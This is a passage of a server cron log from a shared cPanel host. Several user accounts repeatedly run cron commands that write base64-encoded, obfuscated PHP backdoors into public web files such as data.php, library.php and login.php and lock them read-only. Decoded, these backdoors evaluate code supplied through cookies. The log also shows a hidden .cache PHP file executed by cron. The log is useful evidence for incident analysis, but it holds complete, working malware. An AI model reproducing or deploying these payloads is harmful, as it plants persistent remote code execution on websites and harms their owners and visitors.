"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:41:01 medusa CROND[18799]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:42:01 medusa CROND[4679]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:42:01 medusa CROND[4755]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:42:01 medusa CROND[4992]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 11:42:01 medusa CROND[4994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:42:01 medusa CROND[4995]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:42:01 medusa CROND[4997]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:42:01 medusa CROND[4999]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:42:01 medusa CROND[5006]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:42:01 medusa CROND[5007]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 11:42:01 medusa CROND[5008]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:42:01 medusa CROND[5009]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:42:01 medusa CROND[5017]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:42:01 medusa CROND[5018]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:43:02 medusa CROND[25762]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 11:43:02 medusa CROND[25841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 11:43:02 medusa CROND[25922]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 11:43:02 medusa CROND[25926]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 11:43:02 medusa CROND[25928]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 11:43:02 medusa CROND[25929]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  2 11:43:02 medusa CROND[25930]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:43:02 medusa CROND[25931]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:43:02 medusa CROND[25932]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 11:43:02 medusa CROND[25941]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 11:43:02 medusa CROND[25947]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 11:43:02 medusa CROND[25950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 11:43:02 medusa CROND[25961]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
